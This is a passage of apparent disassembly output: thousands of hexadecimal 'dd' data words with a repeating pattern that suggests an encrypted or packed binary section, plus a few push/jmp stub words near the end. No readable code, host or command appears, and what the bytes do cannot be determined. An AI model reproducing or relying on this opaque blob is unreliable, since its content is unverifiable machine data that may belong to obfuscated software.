41CB1566h, 3B7E44DEh, 4CD2D411h, 25D2D42Eh dd 5934F5A7h, 0C5407E63h, 1CF13CA3h, 0E1B3DE4Fh, 5E5F470Ch dd 8832108Fh, 0B1942066h, 0A7B99AD0h, 17261193h, 29A79E93h dd 0BC340175h, 4407A506h, 7007C5D8h, 922FA8E5h, 4B331372h dd 223680E2h, 1EDBED66h, 57321566h, 49FC860h, 0FF2FC577h dd 62294414h, 4B0B1285h, 404A9769h, 0A23D1566h, 11321572h dd 88321A8Fh, 0ABF25C66h, 8F292EA0h, 0F8F9B698h, 14A9A93h dd 0C63DC65Fh, 0DDCDEE52h, 17B51A06h, 87321566h, 443215EAh dd 223EFC66h, 0F6A01566h, 0ABCC382Bh, 9D178E73h, 0CB53F7B7h dd 11321154h, 8838FD06h, 320E1566h, 636D2C7Fh, 0A6C9D9E6h dd 7F46C3E7h, 0CF697A6Fh, 0A7F5749Dh, 17296C12h, 88321564h dd 44259C69h, 0AC3D1566h, 11321577h, 8832198Fh, 0E2A95566h dd 0B0EC1B25h, 668A990Eh, 8EDB757Ah, 8B321566h, 758A796Bh dd 6AE4950Dh, 94B94307h, 40F69642h, 22359B69h, 933D1566h dd 88321567h, 43BF1A9Fh, 2D321566h, 113214E7h, 3E3DE966h dd 0BDB2ED68h, 4FB11AE6h, 0ED321566h, 0A44FD6E7h, 87B3448Fh dd 69D69CBh, 0FAB3DE67h, 0AC9D69CBh, 684FFEE7h, 25DB448Fh dd 89321566h, 522FB297h, 0C561094Fh, 0DDCD314Ah, 0F869EA99h dd 88321572h, 0C208178Eh, 0F47EA296h, 0B3CB22Ah, 0E659B890h dd 0F8454D9Fh, 2232B28Fh, 0C8B87566h, 88321C8Fh, 7EDC6966h dd 0BC776F7Ch, 71530206h, 0B7A7B8DCh, 4BE2947Ch, 434153E4h dd 91CAA136h, 64B2C8AAh, 0FCDB9598h, 0E3B2F44Eh, 963D4DDEh dd 8832156Eh, 44BA1A06h, 43321566h, 0C4C5FCE1h, 0E873FCE1h dd 25E2CFE6h, 22CDAB30h, 0E0131566h, 0B1621EDh, 0CF3D11A2h dd 2232156Bh, 792DAB06h, 7BB31D52h, 5D5B8E16h, 0CF8B4407h dd 900EF17Ah, 1723F68Fh, 85B3542Ch, 14A204DDh, 0F8F3CC91h dd 44C39462h, 6D6E26D4h, 0E91B4CADh, 0DCDD6E7h, 87524427h dd 0AD53CBD1h, 2232156Eh, 9AE49025h, 9A67EC93h, 40C790EDh dd 32DB1372h, 6F321566h, 0D55D4115h, 6EFB306Dh, 49FBD1F7h dd 9A36848Ch, 9C21B4F3h, 0A4B37560h, 24CF4E99h, 0ACB1749Eh dd 8E260F7Bh, 0C3B61A67h, 42321564h, 0AE684706h, 87BC928Dh dd 4422FD07h, 7F31566h, 3A114121h, 0E942F7C9h, 8EAE4941h dd 4081284Eh, 0C909743Fh, 882A9769h, 7DC71566h, 13B41AB5h dd 71CDEA9Fh, 88309569h, 25521566h, 0EC6203DDh, 0AA617459h dd 77CDEA99h, 0B169CB67h, 0A2DAA037h, 0F4B2C08Bh, 84C79505h dd 0CCDC9D34h, 0CB6B4F96h, 11321574h, 9DA1273Ah, 77F2C86Dh dd 8E61BFFh, 962BD918h, 8798E0C7h, 443219EBh, 2235FC66h dd 60421566h, 0DEBC383Bh, 448A45D9h, 23321566h, 11884796h dd 89321566h, 1E389FA4h, 953D753Eh, 0A261749Dh, 0A00CA5D8h dd 602E9EBEh, 2236D1E7h, 0F8CE1566h, 88321577h, 2010FCF8h dd 8F517A1Ch, 5C365D10h, 0EE6B373Ah, 0F56346BCh, 8ED395BBh dd 9137FCA6h, 49B21A8Fh, 1DF99D7Ch, 4269CC46h, 1122FC06h dd 299E1566h, 4705B14Ah, 0F38E5076h, 0F14A4509h, 83D2156h dd 44321566h, 0CBB37307h, 1953D955h, 57B275AEh, 25E89E7Bh dd 985475CCh, 70CE44E5h, 0E6F4D6E7h, 87B36290h, 54202DB9h dd 0FAB3EE4Fh, 0FE202DB9h, 2AF4FEE7h, 72C76290h, 1132110Eh dd 4B1B4D66h, 1762E03Eh, 62E9E3Eh, 1136D1E7h, 61521566h dd 4432156Fh, 975CBA81h, 0D4779E60h, 8CB61AE7h, 22321566h dd 432F65D8h, 0EB61ACDh, 87321566h, 44320CE9h, 2226FC66h dd 0FD3A1566h, 6CBD8491h, 2CF8C9E5h, 7D8EBE72h, 0BE8D088Ch dd 356754D0h, 44321564h, 56DDD3E7h, 0FF3346ECh, 0FCDDFBE7h dd 0BD6F46ECh, 97879C9Fh, 0F8340147h, 88321574h, 0C63D2384h dd 0FF5A8C13h, 0D8E2A889h, 0D7663649h, 0C1F5D154h, 24260F7Bh dd 11321567h, 8CDE949Fh, 0CD321566h, 0C4BB3152h, 1136D3E7h dd 4EB11566h, 60069262h, 23B11A3Ah, 0E4321566h, 0D3162199h dd 4436D1E7h, 0A83D1566h, 11321568h, 8FE39406h, 4B4F7362h dd 223215E6h, 25CD7466h, 4CB34C42h, 44321562h, 0C3BB4493h dd 1136D4E7h, 49B11566h, 30CD4462h, 0AD6B1142h, 716E3162h dd 34F8C4E7h, 4ADB49D4h, 0E0321566h, 1075DDE0h, 3E7032D1h dd 8A96398h, 0AB60741Ch, 6A894684h, 9139613h, 0D6069B95h dd 30F99423h, 903D0354h, 9718868Dh, 0B7B35E23h, 0BCA5C01h dd 9269CF67h, 9CB511A4h, 0C13D4942h, 22321565h, 0F853E006h dd 77CDCF40h, 44321C8Fh, 0E13EBE66h, 0FF075DBBh, 3260C377h dd 3F7A0CCCh, 39D8942Ch, 9026E509h, 40BF1A4h, 0CBF09447h dd 0B4A097Dh, 9A3D4FB0h, 8832156Eh, 44309869h, 43521566h dd 0DF8D1A06h, 0E053ECECh, 443274AEh, 951609EFh, 14D5D58Dh dd 48D0D2E6h, 0A3F21681h, 0CBF59561h, 0F869EDEEh, 88321561h dd 0FC80EB4h, 88A8EEF7h, 9865ED9Fh, 3CA9C91h, 80B1315Ah dd 223DFC62h, 32521566h, 0FA226FB1h, 0D2BA15A0h, 85D5ECEh dd 428D42A1h, 0A15F0075h dd 0BC1B4A9Eh, 37214663h, 1CDBED0Bh, 42321566h, 27336E2Ah dd 499BB5F9h, 1207F26Ch, 8836F9E7h, 68BB1566h, 2236A842h dd 0F91B1566h, 80BD1A3Bh, 24321566h, 995420D5h, 1E533225h dd 883219E4h, 42B41A66h, 2D321566h, 113215EBh, 74CBBE66h dd 0C5D79C33h, 223211A3h, 15F79666h, 0B9163955h, 6801314Ah dd 30DB4942h, 91321566h, 209A587Eh, 8BA7899Bh, 9C7D0F57h dd 0EDD54E10h, 8823FCA4h, 48CD1566h, 0B9B1A491h, 4EB8BF3Dh dd 3A0460Eh, 0CFE38737h, 0AB60317Ah, 15F09484h, 9321566h dd 443211A4h, 6269266h, 2681753Ah, 0AC06EA07h, 40F6943Fh dd 0DA321566h, 1123FD06h, 47A11566h, 0FC800829h, 7C44EE4Bh dd 82A63B92h, 0D0323D51h, 443E9D69h, 24DA1566h, 37321566h dd 7F6D2A8Dh, 0BB534BECh, 0A16C3152h, 993D11A2h, 88321575h dd 44321B8Fh, 266D8366h, 8E3F3D5Ch, 2629F3CCh, 4BEB26E6h dd 22321DE4h, 13B61A66h, 0E8321566h, 0A5BB4407h, 2236D4E7h dd 0D0B11566h, 0FCCD4462h, 0CB6B1142h, 0CB6E3162h, 11321563h dd 77543A0h, 9F12FC5Ch, 0A83DEA99h, 1132156Eh, 88309369h dd 25521566h, 5B4690A1h, 1137137Dh, 0EE521566h, 0C52CC9DCh dd 0BDFD96ACh, 0F8527448h, 88321563h, 1EADA80Ah, 0EDB37362h dd 4753AE3Fh, 691621E7h, 0CF3F027Ah, 0E6B1317Ah, 0F0C19462h dd 613F027Ah, 4432156Ch, 0E2E26B00h, 78377A8Ah, 0E064C1CBh dd 44321562h, 7CC11438h, 113F9369h, 87521566h, 443215E2h dd 0F4B37366h, 4053CD05h, 0A11DA3DFh, 44DB9478h, 6B06D834h dd 3379D4E7h, 793303C2h, 0B86B0C65h, 26C790EDh, 933D1372h dd 8832156Fh, 0C7F19406h, 0DE4A733Ah, 0B0A79E07h, 61340175h dd 44321561h, 502EB074h, 433C781Ch, 883214DCh, 1EE43C66h dd 2232068Fh, 2EABF766h, 0A6B13B5Bh, 0CB6EFD4Fh, 50BD1A9Fh dd 0BB5E025Dh, 9AD3A8E5h, 4B331372h, 223480E2h, 0C909EC66h dd 880D9769h, 0CF3D1566h, 2232157Fh, 11219C69h, 86DB1566h dd 29321566h, 0B3C0A13Dh, 168468DAh, 0DC8DC920h, 9E09ECBDh dd 23309369h, 903D1566h, 88321577h, 4432198Fh, 0B0FD3566h dd 5F29D329h, 0EBAA813Bh, 0F1879C82h, 0CB340147h, 11321560h dd 0E26D290Ah, 0D9B978A8h, 24296C12h, 355E949Eh, 0C847436Ah dd 606E140Bh, 7488476Ah, 105F5513h, 0D2223132h, 0FC8C7306h dd 1AF69509h, 1EDBE907h, 61321560h, 44321576h, 0E00639B7h dd 4D0EEEA5h, 0FD6481E5h, 3BB38873h, 7D162199h, 1136D1E7h dd 4FCE1566h, 5020F4E3h, 22321460h, 0DF8D7566h, 71746F28h dd 6006EA07h, 26F6943Dh, 1E321566h, 883214ECh, 48B9E966h dd 0C3BB4442h, 1136D4E7h, 49B31566h, 44321562h, 7E1619E1h dd 1132068Fh, 0CBE33D66h, 7C9D3405h, 51A386A8h, 0B0A1CB17h dd 8A515BAFh, 1A162199h, 2236D1E7h, 92CE1566h, 84BB118Ah dd 0C5D39C42h, 223211A7h, 15F39666h, 0D41619E1h, 45BD1A9Eh dd 0DA321566h, 0EEE44C8Fh, 0D38D7599h, 155028B5h, 2624F4E7h dd 706A45ACh, 922FA8E5h, 4B331372h, 223740E2h, 1126FC66h dd 34F01566h, 37C866E2h, 8B6C076h, 2F20C0E8h, 9162A3EAh dd 43DBD6E5h, 0CC321566h, 75888756h, 1519EA34h, 42261193h dd 2232068Fh, 0F4C78A66h, 1A46262Bh, 74891BD0h, 0AEFEB67Fh dd 8848D31Ah, 908798EDh, 22521372h, 0D275CBE7h, 1132048Fh dd 0ABAFBA66h, 847B4F24h, 3909D389h, 0DA91EBCBh, 7453E08Fh dd 316DD4E7h, 0FB3310DCh, 646DAA31h, 711B10DCh, 4420FC39h dd 73191566h, 0FE756354h, 51815F41h, 0B7D9CF81h, 1985E0E7h dd 77AFD4E7h, 61B32F93h, 548504Ch, 0E3B3EC4Fh, 5048504Ch dd 0EEAFFCE7h, 0CC3D2F93h, 2232156Eh, 11309E69h, 0E9521566h dd 44321B8Fh, 0CC835D66h, 89BAE7B3h, 0FE8F5891h, 1161A8BEh dd 6C03AC37h, 278F667Ch, 0A1410F28h, 0AD1B4CABh, 27B81A3Bh dd 71321566h, 0E95FD9E6h, 24CA9E06h, 2DF49E00h, 113215EBh dd 0DB537466h, 0A88210D1h, 3EB9ED56h, 15F69642h, 4BB97306h dd 0B1657507h, 2226FD3Fh, 0EF61566h, 463DA7ECh, 27C06B1Eh dd 402ADAE0h, 0A36F6182h, 0A28A919Eh, 1C5B580Fh, 0A93DBF07h dd 11321567h, 0D852759Eh, 680DAB3Eh, 44531F22h, 519E4E7h dd 3634507h, 80B33162h, 22321562h, 7752E03Fh, 614702D9h dd 4432156Ah, 0D5C83A4Ch, 0DC720CD9h, 3D8270F7h, 0BC52BE07h dd 22349769h, 923D1566h, 88321566h, 0A7BB4607h, 2236D6E7h dd 0D2B11566h, 0FCCD4662h, 0CB691142h, 0DB6E3162h, 4A162199h dd 8836D1E7h, 0BBC71566h, 0A16B3152h, 5DB11A2h, 0A4321566h dd 92B1439Ch, 59C9F54Fh, 0FFEF7460h, 0C056BD4Fh, 0BBC29254h dd 0A36C3152h, 113211A2h, 8834FC66h, 0BCFA1566h, 2A317AFCh dd 1136F9E7h, 0A4BB1566h, 0C5D79C42h, 223211A3h, 15F79666h dd 0D41639E1h, 4432128Fh, 6E1A6666h, 133C8AB7h, 5F36FC93h dd 41DBEA99h, 95321566h, 0B2D018Ah, 0F14690A1h, 4430137Dh dd 0A73D1566h, 11321575h, 61F19E06h, 4432156Ch, 72BD486Dh dd 0A6A7813Eh, 875372BDh, 443200E1h, 2222FC66h, 0DB521566h dd 0B7F7D6D2h, 2F6801EFh, 0D548094Bh, 9A64DE59h, 4CB3317Ah dd 44321562h, 223AFC06h, 18C11566h, 82DC9910h, 4B533A0Ah dd 0CB521BD0h, 1132156Eh, 0F35D97DFh, 440FC47Ch, 7B5DA9DFh dd 1EDB746Fh, 0C0321566h, 480EDE4Eh, 4BB2D1E4h, 6F517F74h dd 71B2AFADh, 1EB11AE6h, 0DB321566h, 552FD6E7h, 4BB308FBh dd 659477CEh, 0C9B3DE67h, 309477CEh, 0CC2FFEE7h, 43DB08FBh dd 0FD321566h, 72E55768h, 356779F3h, 0BBCDEA99h, 0CB6FFE4Fh dd 1132156Eh, 0EBCFECEBh, 728DFB1Dh, 2232A18Fh, 14DA7566h dd 0CA321566h, 995DC14Fh, 22329969h, 0AE6B1566h, 0D731BF70h dd 0BB824507h, 26B9D44Eh, 15F69442h, 87321566h, 44321DE4h dd 20B91A66h, 71321566h, 84CD4407h, 95C54C42h, 26DE949Ah dd 98321566h, 778F314Ah, 65321566h, 29DB488Fh, 67321566h dd 15807535h, 0A8E5602Eh, 25DB1752h, 13321566h, 4E90CFEAh dd 0FD63F9D6h, 58E96672h, 9030FCA7h, 0D035AB8Fh, 0B3E3E266h dd 0B3C394BFh, 102F129Ch, 431B4CADh, 6BABFEE7h, 2DDB163Fh dd 8F321566h, 0F8AFFFB9h, 77DF7314h, 600893F2h, 933DAC2Dh dd 8832156Bh, 44321D8Fh, 0FA777166h, 0E9212844h, 7DB79E59h dd 0AD340162h, 22321568h, 0F8220229h, 1F57AB3Ah, 23960951h dd 0B7B975A8h, 172606C7h, 72DBFC9Eh, 0C43DEA99h, 22321561h dd 11339D69h, 4FCA1566h, 5F4B61E3h, 22321760h, 1121FC66h dd 5C781566h, 78DF410h, 0D09182D7h, 0CE91A7F0h, 612D2C3Fh dd 0B1BB40F7h, 0EB9FEEFh, 15F69442h, 74321566h, 0F564E006h dd 2D534A0Fh, 2DB1BD0h, 0D321566h, 7BFBD575h, 6865D40Bh dd 950E16A5h, 0FDB8DD95h, 0BDB22677h, 4BB11AE6h, 1E321566h dd 883212E0h, 45BA1A66h, 0DA321566h, 1549FEE7h, 433361A2h dd 2A68AC37h, 0D3B3769Fh, 60F7F47h, 0E86BDE67h, 4432138Fh dd 0FDA69F66h, 70384626h, 93D2AF34h, 0A6F3620Bh, 0B0F09461h dd 0E67E4B22h, 49E8E2B4h, 0B6B3178Ch, 0DD76E7BDh, 1E68C64Fh dd 883212E5h, 45B81A66h, 0DE321566h, 11327B8Fh, 373D7566h dd 25EA9EB5h, 0DD814600h, 399FFCE6h, 25F395BFh, 0C03D4E00h dd 2232157Fh, 1132018Fh, 1DA79766h, 9D506228h, 0AC3B4E76h dd 663C2F5Ch, 290CD4C4h dd 0C3E3E2E8h, 0D3B55397h, 0C3B37306h, 0E053C477h, 443260DDh dd 9C1621EFh, 11321599h, 746CE447h, 6AA4FEE7h, 0E1B34F8Ah dd 486C4D06h, 63B3DE4Fh, 1D6C4D06h, 0CA4D6E7h, 9ACE4F8Ah dd 9C36E0E3h, 45BE1A60h, 0DE321566h, 0B0A79E9Eh, 74340175h dd 5E2FA8E5h, 2D331372h, 0EEC534E2h, 8838FC99h, 0D1301566h dd 9CFCA873h, 4D3BFC81h, 0A3DCD5Dh, 44321579h, 2DE12C93h dd 0EEDFCAE0h, 0D3D7599h, 44321565h, 42ECAA69h, 11329169h dd 3541566h, 0C75374B9h, 16BB118Ah, 353EEA42h, 883EFC38h dd 527E1566h, 0A8E27D70h, 0D4534B0Bh, 165D643h, 0CFCB9C91h dd 0E6B1315Ah, 0A962E062h, 0F9723897h, 0B05FAA43h, 0EA5D3867h dd 0D033BEA6h, 9CB3C3Eh, 3B57578Fh, 7261E033h, 0B773DF0Eh dd 0C9174D7Eh, 7163FD53h, 32921423h, 386AD6EFh, 74C74EBFh dd 0DD834435h, 0DC5DF4E6h, 91E3E3AFh, 79B2DCA7h, 1DFD9D4Fh dd 4269EDEEh, 11279469h, 98DB1566h, 3321566h, 7C035EBCh dd 0CE2049FBh, 0F2DF2258h, 4B5E8918h, 0D753CDD1h, 0AF5475CCh dd 87534CF4h, 44321DE9h, 20BD1A66h, 71321566h, 0B9FA2407h dd 0B1FA24A7h, 2226FCCDh, 35471566h, 0A651CF89h, 307038AFh dd 0D8011E45h, 0BDC42E55h, 0B3DAA84h, 44321563h, 0F3851A06h dd 0C3DAFC07h, 0E8C7EA99h, 8985FAE7h, 99544094h, 40533F5Ah dd 883215DFh, 17C31466h, 223215DDh, 9BF91466h, 0E86B4E65h dd 65E39400h, 0D4851AEAh, 1EDA2907h, 883246E2h, 4EDB7566h dd 10321566h, 4AB374A4h, 0EFD99B8Eh, 0AD53EC79h, 22321561h dd 0B229747Ah, 0DB011CB0h, 0B561500Eh, 0E1B34E0Dh, 853CB9DDh dd 94B9CDEFh, 40F69642h, 2226FC9Fh, 71D51566h, 9EC693A0h dd 0F235F348h, 9A4A2D0Fh, 2777B735h, 1BDB69EEh, 0BC321567h dd 0A3D59C31h, 113211A1h, 8CDD9666h, 181629E1h, 421609EFh dd 11309769h, 0EA801566h, 4432048Fh, 0C1BCC566h, 25245F96h dd 0AAB7525Ah, 49C102CEh, 0A15381AEh, 25BB118Ah, 0AC069442h dd 629F4D71h, 35C1943Dh, 0ED14B83Eh, 8833AC37h, 0B5331566h dd 2232AF34h, 0DB331566h, 0D1680F65h, 443BFC06h, 64331566h dd 0AD50D5C0h, 0E84AC142h, 25FAA269h, 11D97D07h, 1DBB1566h dd 8837AC42h, 8F331566h, 33BE1A3Fh, 0F8321566h, 8832156Ah dd 0CC3B882Bh, 0D91E8BBFh, 79BAF7B1h, 7D864535h, 0BA2AF9E6h dd 7CF695A2h, 9131F1A6h, 6BBA98A2h, 0C4F1EB3Eh, 0C9B2018Dh dd 4AEA9D14h, 88359169h, 0C83D1566h, 22321567h, 913DBF9Eh dd 88321576h, 44321E8Fh, 0D473A866h, 0D8251B7Ch, 4EE60F72h dd 47A0FEE7h, 0D91B4017h, 12A0AF34h, 5B334017h, 355AEC3Ch dd 0AB321507h, 158A3162h, 0A1321566h, 22524DA5h, 2D3E52DFh dd 2053DFD1h, 0B9F124BEh, 49DB75BEh, 3E321566h, 0E3806A1h dd 653F2396h, 0BA1A302Eh, 9D3DE906h, 0BA5374A8h, 88299969h dd 22521566h, 33DBD3EDh, 5F321566h, 5F31D92Eh, 99D9593Ch dd 68B54906h, 0BB494A75h, 0AC06EA07h, 40F6943Dh, 42321566h dd 0FE2EFCE7h, 8521C8Fh, 0CC3DCE94h, 22321566h, 0AB607407h dd 88321563h, 50B9C367h, 26F69442h, 0E4321566h, 0A278EBDEh dd 43D2D429h, 9860C591h, 7BE89598h, 0E868C557h, 86B9429Ah dd 42F1743Fh, 11321C8Eh, 0CE0A6266h, 5B5C6C19h, 0AB8A6C92h dd 4E04D888h, 98D19400h, 155A7491h, 0AB321571h, 923D316Ah dd 88321561h, 44339669h, 44CB1566h, 9A542399h, 4CB33162h dd 44321564h, 22321F8Fh, 70176666h, 0C0D23524h, 78D20338h dd 0BB61AA5h, 0F8321567h, 88321574h, 882201C9h, 26531A0Dh dd 0B9725B32h, 6C6DA3A3h, 8F0E52F5h, 23389169h, 2DCE1566h dd 0C1B61AA4h, 4B321567h, 22321BE6h, 113BFC66h, 272B1566h dd 0DE090246h, 1EAAC3A6h, 3CB61AACh, 71321567h, 0BB0F739Eh dd 69B61A43h, 71321567h, 70DD57D8h, 4CD89456h, 434FF4E0h dd 0EE1C2800h, 885A9069h, 42DB1566h, 0F8321566h, 77606033h dd 8CDE96ABh, 0FE1601EFh, 22321564h, 13B8E767h, 8822FC3Ch dd 0CFBA1566h, 943A0C11h, 2D2174C2h, 2BBF8D2h, 1654311Ah dd 0D212E5D0h, 35269E00h, 8830D1E7h, 78C71566h, 36B61AC6h dd 71321567h, 8832058Fh, 12D7E166h, 1D530D82h, 4E2208D3h dd 5296A4B8h, 0AFB345ECh, 694DD1C2h, 1DB9743Ch, 6BBB4642h dd 4436D6E7h, 0E1B31566h, 11321562h, 0D41609E1h, 4432048Fh dd 0EC976166h, 4A331650h, 7B72AA0Eh, 0A9783422h, 225AECA9h dd 9A321566h, 4CB13162h, 0FE547562h, 2EDB13ECh, 3D321566h dd 0C5C1C234h, 0E9693187h, 430CE058h, 1133598Fh, 89B01A66h dd 0B1321566h, 0A252DC57h, 903DC784h, 8832156Dh, 4432108Eh dd 87848E66h, 706BE3DEh, 77CDA833h, 0AD1BEA99h, 9B54753Bh dd 14DBE121h, 4A321566h, 79553CA1h, 22A6FC07h, 1CDB1566h dd 9F321566h, 0B03481D5h, 0A08269F0h, 8F5B6166h, 8832160Eh dd 603E9E66h, 2D36D1E5h, 113212EDh, 89B11A66h, 0BC321566h dd 2232708Fh, 22897566h, 0EE2A3277h, 1C18FEE7h, 9C64EC07h dd 11321560h, 746C4C30h, 44325C8Fh, 36B31A66h, 0F8321566h dd 88321569h, 0BA5633A6h, 9025C472h, 0C1A0C35Ch, 0E0381F32h dd 44327749h, 991609EFh, 5F333590h, 0EDD1942Dh, 0C5286112h dd 0C7641A5h, 19D1D449h, 3135E6E7h, 9DBB3B02h, 0EEB2753Dh dd 5F8D7341h, 2CC174D0h, 44321D8Fh, 0A6542E66h, 0C17661EBh dd 29BF9E70h, 0B1340175h, 0A73DDCE3h, 11321568h, 88339F69h dd 0CDCB1566h, 3621B4D3h, 1DB9EC60h, 6FBB4242h, 4436D2E7h dd 0E5B11566h, 350E9262h, 89BF1A3Ah, 0B1321566h, 810B9FDEh dd 66884760h, 0C249AA72h, 980DFE7h, 0D0B33E75h, 7C25608Fh dd 0AD68C56Fh, 4C6E778Dh, 6231FDA7h, 255D1443h, 8BCD381Dh dd 0C83D1566h, 22321567h, 1ADBD693h, 7A321566h, 8A2C1C2Dh dd 7BBF46FFh, 0EE54E859h, 0EE647350h, 222923D8h, 2016614Fh dd 49544B00h, 93041000h, 44369269h, 42521566h, 0D20E7407h dd 89E39169h, 0CA3D1566h, 2232156Ch, 8A887306h, 0F38B7391h dd 695A7442h, 0AB321577h, 0D7BA3172h, 7168E6EEh, 0F6604500h dd 78E69D96h, 4954F646h, 88269F69h, 4BDB1566h, 0A321566h dd 16BDDF1Bh, 0A0AAD6BFh, 8D3DF69Dh, 33DB9F5Ah, 0AA321566h dd 0FEC4A0B8h, 4413F05h, 0E79B77C1h, 0F2B72BDBh, 8742EEE6h dd 4431FEE2h, 0E1B97566h, 2D53DEEDh, 0E8B61A8Fh, 0AD321567h dd 2232156Dh, 7F322979h, 49649D26h, 0B1C41A8Ch, 0A63DFE5Ah dd 11321421h, 0E93BA406h, 0C03DD75Ah, 2232145Dh, 112F9E69h dd 87521566h, 57DBC6D1h, 3A321566h, 0CBD2D74Dh, 56757AF8h dd 0DEA0450Fh, 0A60DFF77h, 2D530DB2h, 98B61AADh, 4B321567h dd 223214EBh, 2C54E966h, 0C3D3099h, 44321599h, 22389769h dd 71521566h, 88BC1A07h, 25321566h, 0A63DDF5Ah, 11321581h dd 87D1299Fh, 44314EE2h, 223DFC66h, 33561566h, 0DB2300B7h dd 57D8C823h, 0F712A899h, 2C54E932h, 0D3DEA48h, 44321519h dd 2232078Fh, 33513B66h, 0B9E16340h, 0A0F8AB0h, 279BB729h dd 42F42485h, 883217DDh, 0CEC11466h, 62E9E65h, 1136D1E7h dd 83DB1566h, 28321566h, 0A830FBDh, 8B7D9ACh, 3A6083C8h dd 0F3617317h, 44C82579h, 99F8953Dh, 4837F7A6h, 0A6F2178Ch dd 0D2F09562h, 7168C546h, 0F9D4AC00h, 1A8D7331h, 1E534DE4h dd 45B61AC6h, 87321566h dd 44321BEAh, 0AC3D7566h, 11321566h, 88329969h, 11531566h dd 223215DBh, 3DB34066h, 3F288442h, 0D5374D11h, 7F45A27Ch dd 114AFC9Fh, 0E8CA1566h, 4432108Eh, 905ECA66h, 9A541257h dd 87DB4EA9h, 0E9321566h, 1CB93401h, 0A1A9EFADh, 0B58EC48Dh dd 0CD53ECFBh, 3621B4D3h, 113CFC60h, 11271566h, 0E6A375AEh dd 0D030E56Dh, 0C27C6CF9h, 7EAF989Fh, 0AD340FF0h, 22321568h dd 0F55AAFE8h, 3214CB9Ch, 671C8836h, 0F1CDE3E3h, 15027D9Ah dd 0A4BB1566h, 4433A842h, 0CABB1566h, 113AFC3Bh, 0E0051566h dd 0B372369Dh, 0CBF107E3h, 11321577h, 5877B949h, 0E4240B47h dd 76DDABE0h, 1394BDADh, 6FBB42FEh, 4436D2E7h, 0CDB11566h dd 350E9262h, 0AC369C3Ah, 4432138Fh, 0E993166h, 0EEDF9C10h dd 0BCB30510h, 30168442h, 98604D6Ah, 19EA4879h, 0B0BCFFE7h dd 9403E902h, 2234FC3Ch, 40A91566h, 76AA5C64h, 58BF90EFh dd 70521372h, 48FBAA69h, 88321D8Fh, 0D8DB266h, 0A9E1A555h dd 25CD74B6h, 4CB14D42h, 8CB87562h, 22321A8Fh, 0C8EC6266h dd 66FE3082h, 0BFC3912Ch, 902EF05Ch, 0D894607h, 89321566h dd 602E9EB8h, 2236D1E7h, 1E521566h, 88321AEBh, 4438FC66h dd 0B6861566h, 6FF182B7h, 9F682D4Dh, 0E4CDDE7h, 0AF534F17h dd 53DE4DBh, 8834FC60h, 54581566h, 0E7D1AC24h, 113CFCCBh dd 5F761566h, 0FCBC4283h, 7443CE7Fh, 93AA586Eh, 0A31BE84Bh dd 6076165Dh, 0DF8B4442h, 10093E4Fh, 23CA4CAEh, 0C18F9893h dd 42340142h, 0EDB31BDFh, 0B18B731Ah, 0AD9F74D6h, 22321560h dd 9DBEE9FFh, 0F1373BDAh, 696E363Dh, 11575161h, 35165165h dd 0ED761263h, 1F4B3855h, 4AC74945h, 11324791h, 871611EFh dd 443214E4h, 4299ED66h, 0A85465D6h, 553F32Bh, 501E7CDBh dd 8FCBED60h, 98FB9406h, 87460743h, 1253D5D1h, 0F465BD8h dd 4FC23C54h, 0A0165165h, 69465B63h, 31B51A54h, 0F8321566h dd 88321568h, 53512C73h, 539092A2h, 0AED65E99h, 85DB498Ah dd 78321566h, 3E68529Dh, 0AC915Fh, 66DAAE40h, 56B31ACDh dd 0CB321566h, 1132156Bh, 6929BAFCh, 9CEEEC4Ch, 40A18455h dd 5B51AFBh, 87321566h, 44321BE4h, 223BFC66h, 595F1566h dd 90404FC3h, 0CF457CC9h, 0AB673152h, 15F79483h, 9321566h dd 443211A3h, 61E9266h, 1123FC3Ah, 0D9911566h, 0B3F8A0BCh dd 0DF4C2869h, 75012864h, 87AD7753h, 44320CECh, 2226FC66h dd 0FDF51566h, 0FC49E462h, 0D6D7AD5Ch, 3D6D827Bh, 467D3C99h dd 61F1B35Eh, 4432156Ah, 0AC2ABE26h, 1EE90A3Dh, 8CDD3B37h dd 44254F0Eh, 6069C66h, 0AA544706h, 0EE680DB6h, 255777D8h dd 0B47088EBh, 993D137Ch, 8832156Ah, 44349969h, 0A13D1566h dd 11321566h, 6152C699h, 4432156Ah, 0EE73E64Dh, 2F51BF2Ch dd 6CC0ACB5h, 8277C5E7h, 0CB533EF7h, 0EECDE991h, 8837FD06h dd 0CB811566h, 447B9B30h, 5E69A5DFh, 4ECEDF61h, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh, 2AA8ED96h, 29458A15h dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h dd 0D7BA8660h, 0D5CE2559h, 0F1439177h, 498232DCh, 71BA8C0Eh dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FCB5Eh dd 74DF0746h, 0D552B332h, 5E0003C6h, 2A5492B8h, 0AE307515h dd 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h, 0A45EE9C3h, 6FDD7BAEh dd 0A25863E9h, 5FABA851h, 0AA307519h, 497332DCh, 2F168C0Eh dd 31377ECBh, 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh dd 0BA4582D7h, 3044h, 24E9h, 4272AA00h, 15h, 7 dup(0) dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h, 8B4C6454h dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h, 0D51876Dh dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h dd 0E9830048h, 8BA4F305h, 3D3608CBh, 0DCDC7006h, 3DBADCD0h dd 3256A030h, 32503CB1h, 804FEAB1h, 587A8A4Dh, 3256BA59h dd 0D8D707B1h, 344C6A9Dh, 3243D0BEh, 0DB36ABB1h, 3256D5BFh dd 5E98353h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 61F9B517h dd 3FD525FBh, 